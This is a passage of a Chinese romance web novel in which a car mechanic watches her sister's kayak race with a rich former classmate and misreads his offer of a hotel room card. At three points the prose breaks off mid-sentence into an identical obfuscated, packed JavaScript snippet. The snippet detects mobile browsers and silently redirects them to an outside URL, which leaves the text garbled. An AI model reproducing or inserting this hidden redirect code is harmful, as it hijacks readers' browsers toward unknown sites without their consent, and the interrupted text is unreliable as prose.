两人找了一家面馆,一人吃了一个大碗杂酱面,走出面馆时,保钦元吐槽:“不愧是富人区,我们那边十块一碗,他这要二十四,大碗的量还不如我们那边小碗多。” 夏树确实也是这样想的,不仅贵,还难吃。 但是保钦元声音不小,他的话一出,店门口的收银小姑娘就投来鄙夷的目光。 她瞥他一眼:“又没让你给钱,话这么多!” “那不也是你的钱嘛,”保钦元抹了抹嘴,“不行,我得去买瓶可乐漱漱口。” 保钦元问夏树是不是还要牛奶,夏树“嗯”了一声。 说着,他就把车钥匙递给夏树,让夏树先到车上等他。 夏树往车子的方向走,突然发现那辆破旧捷达后面停着一辆车。 虽然平时没有修理过顶级豪车,但她一眼就认出来那是一辆库里南。 她头皮一紧,平时在路上遇到豪车,都要离得远远的,此刻那辆车就正正地停在捷达后面,距离不到一米,总担心下一秒捷达会自己发动蹭上去,然后让她赔个倾家荡产。 拉进与捷达的距离,夏树犹豫着要不要先把车开走,离那辆库里南远一点。 这时,库里南车窗突然降下。 易年的声音从车内传来:“迟到了。” 夏树循声望去,易年正单手扶着方向盘,坐在驾驶座上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060346|137698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他身上穿着件款式宽松的纯白色poloshirt,松着两颗扣子,正好将喉结和流畅的颈部线条露了出来。 看见易年是车主,夏树倒也不算意外,对她来说贵的东西,对人家来说可能只是一件玩意儿。 她瘪了瘪嘴,按亮手机看了一眼时间,只比约定的时间晚了两分钟。 她敷衍地抬头,对上他那双干净而明亮的眼:“哦。” 说完就去捷达上把随身携带的背包取了出来。 易年也下了车,自然地从她手上接过背包,放到了库里南后座,然后打开副驾车门:“上车。” “易姐姐呢?还没出来吗?”她问。 “刚刚过来的路上,她突然跟我说有点事,还不知道能不能去,让我们先走。” 夏树挑眉点了点头:“好吧,那你等一下。” 便利店的方向,保钦元手上提着购物袋,刚从店里出来。 夏树冲他喊:“小保,快点!” 女人的嗓音绵软通透,直达易年最敏感的神经,易年蓦地一怔,接着跟随夏树的目光看过去。 眸色渐深。 “夏树。”他的声音浸了些寒意,“我跟你说过没有多余的出入证,你非要带人去——” “算了,我不去了,你们去吧。” 易年很少叫她全名,夏树不由地将疑惑的目光落在易年身上。 他的眸色沉暗冰冷,似乎周遭的空气也连带着降了温。 他是不是以为夏树不守信,说了她一个人去,结果还带了人来,所以才说不去,是因为去了他会为难或者丢人? 夏树赶忙解释:“嗯,我知道,他不去,只是送我过来。” 静默片刻。 保钦元小跑着来到两人旁边,一脸惊讶:“卧槽,哥,你开劳斯莱斯啊!” 不知道眼前这人是因为见到这辆车还是什么原因,居然没了先前在医院看到的随性粗犷。 上次还叫他小兄弟,这次就喊他哥。 倒像是,添了几分谄媚。 易年百味交集地看向夏树,实在理解不了她为什么会看上这样一个人。 易年没有回应保钦元,场面有些僵持不下。 说不上来为什么,夏树似乎从易年的眼神里看到了些不易察觉的敌意。 不知道是嫌弃保钦元身上沾了油渍的工装,或是因为其他原因不愿说话。 她总觉得越来越琢磨不透眼前这个人。 因为要抓紧时间赶路,她没多想,只把捷达的车钥匙递给保钦元:“你待会儿去多看几家,对比一下价,能砍下来一块是一块。” “好嘞,没问题。”保钦元接过钥匙,目光还时不时地瞟着库里南。 出于男人对车本能的喜爱,他终于忍不住了,期待地看向易年:“哥,你这车,我可以上去坐着感受一下吗,我还从来没摸过这么贵的车。” 易年眉心微微蹙起,沉默。 夏树打了下保钦元的肩膀:“坐什么坐啊,我们还赶路呢!” “请便。”易年语气懒散。 闻言,保钦元顾不上夏树的劝阻,把装着牛奶和矿泉水的购物袋塞到夏树手上,即刻跑到了驾驶座旁边,小心翼翼地打开了车门。 但他并没有坐上去,只是轻轻地摸了摸方向盘。 半晌,他折返到易年的夏树旁边:“算了,我还是不坐了,这么贵的车,我身上这身儿衣服可别把座椅弄脏了。” 易年未置一词。 保钦元的右手在腰间蹭了蹭,想抻到易年面前,又缩了回去:“哥,上次在医院也没好好打个招呼,后来回去才听我老大说你们是同学,那天我说的话你可别往心里去。” “我叫保钦元,是老大的徒弟,现在在她手底下干活!她都叫我小保,你可以叫我保钦元,或者跟老大一样叫我小保也行。” 保钦元的话一出,夏树看见易年的瞳仁轻微震颤了一下。 “小、保?” “对,保护的保。” 11. 第 11 章 晨间的高速薄雾缭绕,或浓或淡、或灰或白,仿佛给公路铺上了一层轻纱,飞驰的车子像一把剪刀,一路将纱撕开。 可能是出于职业习惯对车子的敏感,从上车后夏树不由自主地打量着车内的一切。 果然,贵有贵的道理。 从车门关上那一刻,就像是一键开启了静音模式,座椅也不知比她的破捷达和小电驴舒服上多少倍,舒服到接连打了好几个哈欠。 她无意瞄了易年一眼。 从离阳出发近半个小时,易年不像之前一样爱与夏树互怼,居然没说过一个字。 他就只顾着开车,神色浅淡,眼睛直视前方,从侧面看过去,透亮的双眸似乎还有些恍惚。 他这副模样,像是是起早了,困了。 怕对方疲劳驾驶,夏树想主动跟他搭搭话。 她从保钦元递给她的购物袋里将矿泉水拿了出来,往左边递过去。 “你要喝水吗?” 易年微侧着头,看了一眼矿泉水瓶。 “不用。”语气不疾不徐,没有情绪。 夏树收回左手,指腹不自觉轻按了一下瓶身。 易年不喝水,会不会是嫌这瓶两块钱的矿泉水便宜? 她又从购物袋里将另外的那瓶牛奶拿了出来,亮在易年眼前。 “我这只有一瓶水和一瓶牛奶,我记着你不爱喝牛奶,所以才递水给你。” 挤了挤嘴角,又补充,“你别嫌它便宜,想要贵的我这也没有。” 这话才一说完,夏树就感觉听上去有点像在挑衅。 她分明没有这个意思。 易年:“你还记得?” 声音轻悠悠的,意味不明。 “当然啊,你的吃的用的,哪件东西便宜过。” “我是说……”他轻挑着眉,停顿片刻,“算了,没什么。” 夏树皱着眉头,侧目:“这瓶水,真不要?” “不用,车上有。” 车厢安静下来。 夏树还是想多跟他说话,让他打起精神。 “易年,我们聊聊?” “聊聊?”易年暼了一下眼角,鄙夷的语气,“我应该没惹到你吧。” 嘶…… 夏树倒吸一口气,是她语气太强硬了? “我不是这个意思,我是想说我们随便聊点什么。” “你想聊什么?” “都行啊,你的近况,兴趣爱好,或者前些年发生的事,随便想说什么都行。” “你这是,”易年挑着眉,轻轻哼笑一声,“查户口?” 夏树:“……” 我谢谢您嘞。 “早上起得早,我现在都有点困了,然后看你开车有点恍惚,怕你疲劳驾驶,才想跟你聊聊天。” “豪车不配司机还挺少见,你要是真困了,这么贵的车我也不敢替你开。” “你睡你的,”易年语气平平,“开车时候有人在我耳朵旁边叽里呱啦吵个不停,我才会分心。” 所以,他是嫌她话多的意思? “不识好歹。” 夏树用几乎只有自己听得见的音量抱怨一句,随后用眼尾扫了他一眼,便扭过头抱起双臂,闭目养神。 - 昏昏沉沉之中,夏树的手机突然响了几声。 猛地睁眼,不太熟悉的车厢和车外陌生的环境,让她在那一瞬以为是在做梦。 夏树下意识坐直,迅速瞥向左边。 易年微微侧身,单手举着手机,四目相对之时才把手机放下。 她的第一反应是,不愧是豪车,还真好睡。 回过神,从兜里掏出手机,保钦元在师徒四人的群里发信息问她到了没,罗超和罗勇附和着让她实时分享夏树比赛的消息,她回了个刚到。 发完信息,看了眼时间,已经十点多,照理说应该已经到了一会儿了。 夏树心里窜出一股无名火。 这时,易年拿起放在手套箱上的白色鸭舌帽,打开了车门:“走吧,先进去。” 夏树紧跟着下了车。 易年步行速度不算快,她几步就并了上去。 他比她高了一个头还多,她侧仰着头,语气不太和善:“到了也不叫我,不知道我妹有比赛啊?” “然后呢?” “你就不怕我睡过了,错过她比赛。” 易年神色自若,摇了摇头:“不怕。” “我说你——”夏树想说他两句,又想到还欠着人情,便收敛了音调。 “你睡这么死,估计叫也叫不醒,”他的语气轻佻,“而且,我知道你妹比赛时间。” 离夏林上场还有一个多小时,运动员不能离队,确实进去早了也白搭。 易年既然知道比赛时间,那应该就说明他不是故意不叫她。 夏树有些为难撅了下嘴:“哦。” 继续跟在易年身侧走着,她突然想起睁眼时看见他举着手机。 “我说,你刚刚不会是在偷拍我吧?” “没有,”易年瞥她,“我只是把你打呼流口水视频录下来了,下次你再发鬼故事吓我,我就看视频辟邪。” 她皱着眉,将信将疑地摸了摸嘴角,确定没有水渍,又打开手机前摄像头,也没有看见口水干了的痕迹。 “易年!”她愠恼道,“你有毒吧!” 易年懒得搭理她,只是稀松地扯了下唇角。 - 凭着出入证,夏树和易年顺利进入了赛场。 一个挂着出入证,穿着衬衣西裤的中年男人站在入口不远处,看见两人进去,立刻迎了上来。 “易总,您好您好!” 男人抻着右手,很恭敬,跟夏树面对客户时的模样相差无几。 夏树有些愣神。 七年未见的高中同学,重逢,突然有人叫他易总,那种感觉很微妙,像是昨天还是少年,到了今天,就直接跨成了大人。 易年轻抬右手,微微颔首,眼神中透露出了与这个年纪不太相符的稳重与自信。 仔细回想,高中三年,易年除了偶尔跟她拌嘴,在别人面前时都很沉稳。 重逢后还没见过他和其他人交际,差点忘了他还有这一面。 中年男人将右手伸向夏树,微微弓腰:“您好。” 夏树僵在原地。 平时修车的时候,从来没跟谁握过手。 或者可以说,她几乎没去过需要握手交际的场合。 在这一瞬间,她回想起出发前在易雯溪家门口,保钦元的右手没有伸向易年,而是在腰间蹭了蹭。 她好像有点能理解了。 此刻的夏树,面对一个陌生人的正常社交礼仪,她也觉得难以将手伸出去。 不是怕跟异性触碰,归其原因有两个。 一是她几乎没跟人握过手,不习惯。 其二,她用右手大拇指刮了一下掌心的茧,再看了一眼这个中年男人。 虽然他对自己的模样也很恭敬,但是从衣着和气场来看,这人肯定也属于自己修不上他的车那一类人。 像是过了好久,其实就只过了两三秒。 “您好。” 男人的右手仍悬在半空,面带礼貌笑意。 夏树不自觉瞟了眼易年,像是在征得他同意一般,才将右手伸了出去。 男人跟易年说黎总正在和主办方的人谈事情,所以派他来接他,易年说了声“好”,说完男人就要引着易年往前走。 夏树站在原地未动:“那个,那你忙去吧,谢谢你和易姐姐带我进来,我就先去找我妹了。” “等等。” 她才往与两人相反方向走了一步,易年叫住了她。 “你知道往哪走吗?” 夏树回头,眼珠转了半圈:“我去问下工作人员。” “你不知道运动员比赛期间不可以离队吗?” 夏树当然知道。 她站在原地,没说话。 “跟我走。” 说完这句话,还没等夏树开口,易年就伸出一根手指,勾住夏树的背包提扣,像是拎小猫后脖颈似的将夏树拎着往前走。 可能是因为不知道往哪里走,而且也确实没地方可去,夏树没有挣扎,就那样由着易年提溜着她。 往前走了两三米,易年才松开手。 中年男人把他们带到一个临时搭建的观赛台,虽简易,却也样样齐全,还有一台转播实时赛事的电视立在旁边。 不远处,青龙湖,裁判员正在公布赛事和运动员信息。 夏树看了一眼电视屏幕,准备比赛的是男子双人皮艇500米。 夏林的第一场比赛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060347|137698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是双人500米,看见运动员们在各自航道上蓄势待发,想到自己的妹妹还有一个小时就要像他们一样上场,这一刻她才有了紧迫感。 突然加速的心脏使她鼻头一酸,也许是被激烈的赛事感染,眼睛竟然蕴起水雾。 易年和黎卓的助理说完话回头,看见鼻尖发红的夏树,神色一滞。 片刻后,他的嘴唇一开一合,无所适从地捏着手上的白色鸭舌帽:“怎么了?” 夏树:“在这儿离得太远了,我想挨近点看看。” 易年:“一起,我正想过去。” 潮湿的热风吹过湖面,推着夏树头发摆动,眉眼被太阳照得皱了起来。 她将鬓角的碎发掖到耳后,目不转睛地注视着湖面上的运动员。 其实站在湖边的视野根本不及现场转播,但是通过自己的眼睛看见航道上的运动员,却比看屏幕更有实感。 伴随着一声“滴”,这一组的比赛结束。 夏树的目光还留在运动员身上。 易年轻咳一声:“结束了。” 她勾起唇点了点头:“嗯。” 易年:“不回去?这里太晒了。” 夏树没听进易年的话。 似乎是延续了曾经的肌肉记忆,她抬手拍了两下易年的手臂。 “诶,你说,这些体育生还真是比咱们那时候的高中生看着更有朝气,咱们班那会儿好多人都是书呆子,也就你们几个爱打篮球的看着要活络点。” 温热的指腹触碰到易年的皮肤,他不自觉翕动着眼睫。 “好像是。”声音很轻。 夏树感叹着“啧”了一声,“那句酸话说的挺对,‘人不能同时拥有青春和对青春的感悟’,我妹他们这个年纪,真好啊。” 尾音刚落,夏树突然察觉头顶被压了一下,紧接着眼前光线暗了几度。 她抬眼,看见了白色帽檐。 “你干嘛?”她问。 易年:“我怕头发被压乱了,借你的头放下帽子。” 夏树嘬着一边嘴角瞟他一眼。 正好,自己没带帽子来。 “那就先借你放一下,”她说,“你过去吧,我就在这儿了。” 易年抱起双臂:“怎么,只有你能在这儿,我不能?” 夏树无语地叹了声气:“不识好歹,我是看你细皮嫩肉的,可别在这里晒坏了。” “你这是……在夸我?” 夏树:“……” “随便你,你爱在哪儿在哪儿。” - 比赛是男生和女生交替上场,基本上十多分钟轮一组,又看了三组,终于听见裁判员宣读信息。 夏树立刻掏出手机开始录像。 “……现在是……皮划艇第16届运动会预赛,女子双人500米皮艇小组赛第三组:一道何艳、陈露,二道王佳怡、刘丹,三道夏林、陶菲菲,四道……” “请运动员进入航道。” “比赛正式开始,readysetgo!” 伴随着一声“滴”,六只皮划艇同时出发。 夏树的心瞬间被揪了起来。 她的视线一直聚焦在第三航道,紧张到连呼吸都变得小心翼翼。 每一秒钟似乎都过得很慢。 赛程过半,三道的皮划艇明显落后于其他航道。 夏树忍不住喊出声:“林林,加油啊。” 她的音量并不算大,夏林不会听见。 但就在下一秒,湖面上的夏林就像听见姐姐的呼喊一般,铆足劲,配合着陶菲菲一起冲刺,花了十多秒,就快赶上领先的一组。 夏树的心脏快跳到嗓子眼儿了,说不出话,只能在心里默喊“加油”。 “滴”的一声,比赛结束。 夏树激动得抓起易年的手臂,声音却很小:“易年,我没看错吗?三道第一了?” “应该,没看错。”易年垂眸看着那只不太滑嫩的手,滚动了一下喉结,声音柔软,“大屏幕是应该很快就出成绩了。” 听了易年的话,夏树将视线移到了大屏幕上。 没松手,甚至力度还重了几分。 不多时,成绩跳了出来。 “啊——” 夏树激动得摇晃着易年的手臂,回头时,失控地将双手勾在易年肩上,原地蹦跳。 12. 第 12 章 “我妹,夏林,她是第一。” 易年的双肩被夏树的手掌轻轻晃着,眼底波光微转,盛着不易察觉的笑意,嘴唇几欲开合,才说:“嗯,看见了。” 夏树激动的心情还未冷却,但注意到这个姿势好像有些越界,便收回双手。 平时跟三个徒弟在一起,修车过程中偶尔会有需要他们协助的时候,他们都是关系亲近的人,大方且正常的肢体接触,在夏树看来没什么问题。 可刚刚…… 夏树似乎是像高中时一样,还把易年当成亲近的朋友,才不受控地“借用”了他的肩。 或许是被太阳照过,易年的脸颊看上去微微泛红,倒是看不出介意的意思,夏树也就没再多想。 她把手摊开在易年面前:“你看我的手,还在发抖。” 易年抬手,想去握住夏树颤抖的手,帮她平复下来,动作却突然停滞,变成教她自上而下顺推气息。 “深呼吸,调整一下,现在应该可以过去找她了。” 夏树照着易年的话做着深呼吸,两人都没注意到慢慢靠近的一行人。 “易年。”黎卓走到近处,喊了他一声。 易年和夏树循声看去,一个气质卓群的女人走在前头,后面还跟着两男一女,在门口迎接易年那人也在其中,几人向易年毕恭毕敬地叫了声“易总您好”。 易年微微颔首示意,随后朝黎卓走了几步:“黎总,忙完了?” 黎卓脸上笑意收了几分:“跟你说了别一天到晚黎总黎总的叫。” 易年嘴角噙笑:“好的,卓姐。” 黎卓眼含笑意看向夏树:“这位是?” 易年轻抿了下唇,静默两秒:“她是我高中同学,叫夏树,”说完又对着夏树,“这位是凌飞运动的黎总,也是我姐的离婚搭子,就是她安排咱们进来的。” 凌飞运动是个国民认可度很高的运动品牌,这次皮划艇比赛的服装就是由凌飞赞助,夏树自然是听说过的。 只是没想到,眼前的女人竟然是这么个大品牌的老总,而且还这么年轻。 有了上一次握手打样,这次夏树心里没有扭捏,而是大方地向她颔首,伸出右手:“您好黎总,我叫夏树,夏天的夏,大树的树,谢谢您能给我机会,让我来看我妹妹的比赛。” 听上去很官方,但确实是夏树的肺腑之言。 “不用这么客气。”黎卓优雅地伸出右手,笑道,“你好,黎卓。你的名字很好听。” 听见有人强调自己的名字时,夏树不太自然地扯了扯唇。 夏树突然想起黎卓的第二个身份。 她仰头看向易年:“不过为什么黎总是易姐姐的离婚搭子?” 黎卓:“我和她姐,同一年结的婚,然后巧的是,又在同一年都离了婚。” “黎总和易姐姐居然都结过婚,还离了?”夏树不可置信地瞪着眼睛。 黎卓笑道:“不像吗?” “可是你们这么年轻……” 事业有成的女人不都应该是晚婚吗? 易雯溪看上去也就二十七八岁,眼前的黎卓看着比易雯溪大不了几岁,要是不说,根本不敢相信她们都结过婚。” 黎卓:“我比雯溪还大四岁,三十五啦。” “我——” 夏树条件反射开了口,“去”字还没说出来就及时刹住了车,“我真没看出来,黎总看起来绝对没有三十岁。” 不是奉承,而是她真心这样觉得。 黎卓:“你也不要叫我黎总啦,跟易年一样,叫我姐就行。” 说完,她将斥责的目光投向易年,“我说你可真行,女朋友就女朋友,还说是高中同学,在我面前有什么好藏着掖着的。” 居然被黎卓误会成了男女朋友…… 夏树立刻否定:“黎总,您误会了,”她瞥了眼易年,“我们不是那种关系。” 黎卓眉头稍挤,眼神疑惑:“啊?可是我刚刚看你俩那么亲密……” 亲密?刚刚? 夏树猛然想起,看见夏林成绩时候激动得忘乎所以,好像把手搭到了易年肩膀上来着。 难怪会被误会。 “姐,我们就只是高中同学。”易年轻扬着眉,语气平平,说完又不痛不痒地补了句,“她看不上我。” 你没事吧? 夏树不知道易年为什么突然冒出了这么一句话莫名其妙的话。 直接否认不是男女朋友就好了,还非要说什么她看不上他,搞得好像她多不识抬举似的。 莫非是因为上次易年说她占他便宜,然后她阴阳他时发的那句“不要强行自我攻略,我可一点都看不上您”,所以他才故意在这时候故意说出来。 为了,报复? 她侧目瞪着他,眼神警告他说话适可而止。 易年从容自若地朝她挑了下眉,像是在强调自己没有说错。 黎卓:“没事没事,来日方长,好事多磨,姐姐我的眼睛就是尺,你俩今后绝对能成。” 不知道黎卓这话是回应刚刚易年说的话,还是说给夏树听。 总之,听起来很别扭。 夏树讪讪一笑:“那你们先聊,我先去找我妹妹,她刚刚下场。” “是吗?”黎卓视线投向大屏幕,“你妹妹……是叫夏林吧,好名字,树、林。厉害啊,她们居然小组第一了。” 夏树自豪回答:“是的,就是夏林,小组第一。”声音很响亮。 黎卓:“那我们一起过去?你长得这么好看,我还挺好奇你妹妹是不是也跟你一样水灵。” “嗯,一起走吧。”还没等夏树说话,易年就先开了口。 也不是夏树不愿他们一起去,凌卓是赞助商,她专门去看夏林,夏树自然乐意。 只是这话由易年说了出来,感觉怪怪的,明明是去看她的妹妹,跟易年无关,说得好像夏林是他妹妹一样。 - 运动员休息区,教练余震东正在和夏林陶菲菲复盘刚刚的比赛。 一行人过去的途中,黎卓遇到一位组委会人员,说让易年和夏林先过去。 夏树看见夏林时,怕她还在说正事,就只站在远处等着,易年也跟着她站在那里。 方才已经平复下来的心跳又开始加速跳动。 她做了两组深呼吸,手肘拐了下易年:“你看我现在是什么样?” 易年凝眉看她:“嗯?” “就是看着我很平静,还是很激动?” “表情平静,眼神激动。” 夏树搓了搓自己的脸,自言自语:“完了完了,要赶紧平静下来。” “我没看懂,”易年说,“你妹都得第一了,你激动不是很正常吗?“ 夏树手上的动作停下来,嘴唇被双手挤得嘟了起来。 她白他一眼:“你不懂就对了。” 这场比赛,对夏林很重要。 夏林已经有自己的目标大学,但她上的体校是中专,文化成绩差,要想上那所大学,捷径就是在大赛获得名次,拿到运动员等级证后直接考。 但近几年因不可抗力,赛事很难举办,所以这次可能是她中专生涯最后一次参加大赛,预赛通过才能进入半年后的决赛,在决赛中获得至少前六名才能有运动员等级证。 比赛前夏林就因为身高原因一直很焦虑,但夏树从未给她任何压力,只让她量力而行。 夏林明天还有一场单人4000米的比赛,如果夏树在这个时候表现得太激动,怕给夏林心理负担,反而让她到时候在比赛中失利。 所以夏树只能让自己像平常一样面对夏树。 “姐!”教练交代完事项,夏林抬眼就看见了夏树。 她欢脱地跑到夏树面前,看见旁边的易年,有些腼腆地朝他打了个招呼:“哥哥好。” 易年微微一笑:“妹妹好!” 夏树克制着自己的激动:“我还是第一次见你比赛,不愧是我妹,挺猛。” 夏林抿了抿唇:“也不知道最后排名怎么样,待会儿还有一组,她们比完才出总成绩。” 夏树摸了摸她的头:“没事,你自己尽力了,就很棒了。” 谈话间,教练余震东突然走了过来,脸色难看:“夏林,这是你家人?” 夏林有些不知所措:“对,这是我姐。” “比赛不对外开放你是知道的,你这样明目张胆违规,叫外人进来,是想干什么?” 几人之间距离不远,但余震东却没有控制说话音量,像是故意说给夏树听。 “教练您好!”夏树嘴角上扬,模样恭敬,“我妹没违规,是我自己进来的。” 余震东眉头挤到一起,语调不太客气:“我们的比赛外人是不能进的,”他瞟了易年一眼,“你们擅自进来我就不说什么了,还请你们现在就离开比赛区域,今年离阳市是东道主,给其它地州上的人看见我们的人不守规矩,不合适。” “我不是——” 夏树还没说完,易年就从裤兜离将两个出入证拿出来亮在余震东面前。 “我们拿这个进来的,应该不用出去吧。” 他的语调平平,眼神却带着威压。 “组委会怎么回事,还真是什么人都可以花钱进来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060348|137698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了?” 余震东似乎被易年的气场镇压,没发难,只是自顾自嘟囔。 声音传到了夏树耳朵里。 夏树正想解释不是花钱进的,另一个男人在不远处喊了夏林的名字。 夏林看向男人:“领队,你叫我?” 夏树跟随夏林目光,朝领队李波看过去。 他正毕恭毕敬地站在黎卓身边,抬手指着夏林:“那个个子小的就夏林。” 他冲夏林招招手,“夏林,你过来一下。” 夏林小跑着过去,夏树和易年朝紧随其后朝那边走。 去到面前,黎卓轻拍夏林肩膀:“小姑娘真不错,小组第一。”视线聚焦着夏林的脸,“还真是,跟你姐姐一样漂亮。” 夏林不认识眼前的女人,有些发愣。 旁边的领队李波介绍:“这位是咱们的赞助商凌飞运动的黎总,快打招呼。” 夏林挠了挠头,局促地打招呼:“黎总,您好。” 夏树和易年快走到黎卓旁边时,余震东一个箭步挤了上来,一改先前模样,脸上挂笑:“黎总,您好您好,我是离阳市体育学校皮划艇主教练,余震东,感谢您对我们的支持。” 他快速暼了眼夏林,“这些优秀的孩子都是我的队员。” 看上去余震东像是在揽功买好,夏树对这样的行为有些嗤之以鼻,但考虑到他是夏林的教练,就并未做出任何反应。 黎卓:“夏树,你们姐妹俩长得还真像。” 夏树:“是的黎总,好多人都这样说。” 黎卓的话一出,余震东脸上有些挂不住,他又打量了一遍夏林和夏树,心里犯起嘀咕。 明明夏林是贫困生,而且她姐姐的穿着打扮也平平无奇,怎么会和凌飞运动的老板认识? 再看向她姐姐身旁的男人,看上去倒是有几分神气,不像寻常人家的毛头小子,估计是托了他的关系。 “易年,你平时也要多关心关心妹妹!”黎卓说,“要爱屋及乌,懂不懂!” 易年轻挑着唇,未置一词。 黎卓的话不算隐晦,周围的人都将祝福的目光落在了易年和夏树身上。 夏树再一次在心里骂了易年有病,非得说些让黎卓误会的话,导致她此刻在众人面前社死…… 闲聊片刻,怕影响其他运动员,一行人并未在运动员休息区过多停留,夏树跟着易年和黎卓回到观赛区。 最后一组女子400米皮艇比赛结束,大屏幕是打出了名次,夏林和陶菲菲果真拿了第一。 夏树迅速跟三个徒弟和周雨唯分享了这一好消息。 黎卓说她要和主办方一起吃中午饭,不能招待夏树和易年,让他们到附近的饭店尝尝当地特色,说完便先行离开。 或许是人逢喜事精神爽,夏树看易年都顺眼了许多。 白色poloshirt把他的脸衬得清俊无暇,鸦羽般的长睫下星眸熠熠,含着显眼的笑意。 看了眼时间,易年偏了下头:“你妹他们应该要集合了,我们也走吧。” 夏树:“你之前不是说来这边有事吗,你可以去忙你的,不用管我。” 易年:“再忙不也得吃饭?” “嗯,也是。”夏树点开附近美食榜,“你想吃什么,我请你。” 易年眉梢稍扬:“不用。” “喂,姐心情好,请你搓一顿,别不识好歹!” 易年带她来看了比赛,而且夏林拿了个第一,再加上最近汽修厂营收不错,所以想请他吃饭。 他反倒不乐意了。 易年懒洋洋道:“餐厅我早就订好了,不去不退钱。” “这样啊……” 那倒给她省钱了。 夏树装起手机,像是得了便宜还卖乖,瘪了瘪嘴,遗憾的语气说道,“那就没办法了,我只有下次再请你。” 两人去到一个青龙湖景区附近的一个星级酒店,吃的是青龙湖特色湖鲜。 夏树没吃多少就放下了筷子,只顾着跟徒弟们和周雨唯发信息,没怎么和易年说话。 “就不吃了?”他问。 “嗯,早上在易姐姐家门口吃了碗面,吃的大碗,现在也没什么胃口。” 说完,夏树继续低头打字。 易年突然将一个精致的纸质卡套递到夏树面前:“拿着。” “这是什么?” 夏树放下手机,打开卡套。 里面,居然是一张房卡! 她的瞳孔微颤,渐渐将疑惑而惊讶的目光移到易年身上。 易年眉梢微抬,神色懒懒:“上去睡一觉。” 13. 第 13 章 易年说,睡一觉…… ? 睡一觉? 夏树猛吸一口气,眼睛陡然睁大,上半身不自觉往旁边移,与易年拉开距离。 难怪从早上见面后就没跟她斗嘴,难怪没安排司机,难怪之前还特别强调没有多余的出入卡,只让她一人来……合着是打了这种主意。 “易年!你有病吧!”她语调激愤,“难道说我欠了你人情,就必须得肉偿?请问你是在做什么春秋大头梦?咱们好歹是老同学,我不想把话说得太难听,但我劝你最好别异想天开。” 易年单手支着太阳穴,意味深长地看着夏树,嘴角还挑起一抹飘飘然的浅笑。 夏树拍了下桌子,审问的语气:“你笑什么?!” 他稍抬下巴:“你继续说。” 话都说这么直白了,还不死心? 夏树的火气越攀越深,她抱起双臂,正准备铆足劲儿骂他几句,又改了个主意。 她平静地抬着唇角,礼貌说道:“你说了知道我看不上你,对吧,那你知道什么原因吗?” 易年忽然坐直身子,双手虚搭在一起,两只拇指缓慢转着圈,脸上严肃了些:“什么?” “我喜欢女生,我是拉拉。” 说这话的时候,夏树皱着眉,像在宣誓一样,表情很认真。 易年挑眉,静默片刻:“哦?是吗?” “对。” 怕他还抱有幻想,夏树干脆总结性发言:“我有情感洁癖,所以,我们只能当兄弟,至于其他的,我实在——” “你脑子里在想什么?” 易年突然懒洋洋地打断了她。 说着,他从裤兜里掏出另一张房卡,随意扔在在桌子上。 “我没说要跟你一起睡,你才是别异想天开。” 夏树凝着眉,嘴唇抿成直线。 所以,她这是,理解错了? 嗓子发涩,想说点什么,但是此刻,像是丧失语言功能一般,她半个字都吐不出来。 真他妈尴尬。 战术性咳了几声,又抿了几口水,气氛终于缓过来点。 夏树将面前的房卡推到易年面前:“你试试出去把房卡随便给一个女孩,让她们上去睡一觉,她们是什么反应。” “还问我脑子里想什么,我至少还有脑子,你连脑子都没有!” 易年被气笑了:“说你是白眼狼你还不认,大中午的没地方去,我好心给你房卡,让你去睡一会儿补个觉,你反倒说我没脑子?” “谁要你房卡!我要睡觉要休息不会自己订啊!”说着夏树就掏出了手机,“我现在就定。” 易年拿起房卡在桌上敲了几下:“哎,别定了,别浪费那个钱。” “我花我的钱,你管我浪费不浪费。” “我是说,别浪费我的钱,”易年又将房卡推到夏树面前,“易雯溪不来了,这个原本是她的房间,现在空着不就是浪费我的钱。” - 酒店的电梯里,三面墙都是黄铜色的镜面。 夏树缩在角落里,没说话。 说易年没长嘴吧,他损人时候可是张口就来,说他长嘴了吧,又是经常性地不把该说的话说全乎。 就像刚刚吃饭时候,直接说清楚,是易雯溪来不了,她的房间空着没人住,所以才让夏树去住。 他可倒好,不说,扔个饭卡就只说一句上去睡一觉…… 她倒也不是那么死板的人,不会闹了点尴尬的误会就只想着钻地缝。 就像易年说的,房间空着也是浪费了他的钱,她来住了,自己的开房钱也省下了,算是一举两得。 “喂!”易年突然抬手敲了下夏树头顶的帽檐,“不就是出了点洋相,至于吗,想钻墙里去啊?” 帽檐向下一压,遮住了夏树一半的眼睛,她直接将帽子摘了下来。 她从墙面镜里看了眼自己的站姿。 后背被背包压得微微弯曲。 这段时间汽修厂忙,她已经连鸽了两次鬼故事的更新,所以带了收音设备,想着空闲的时候尽量录几个出来,东西背在背后不算轻。 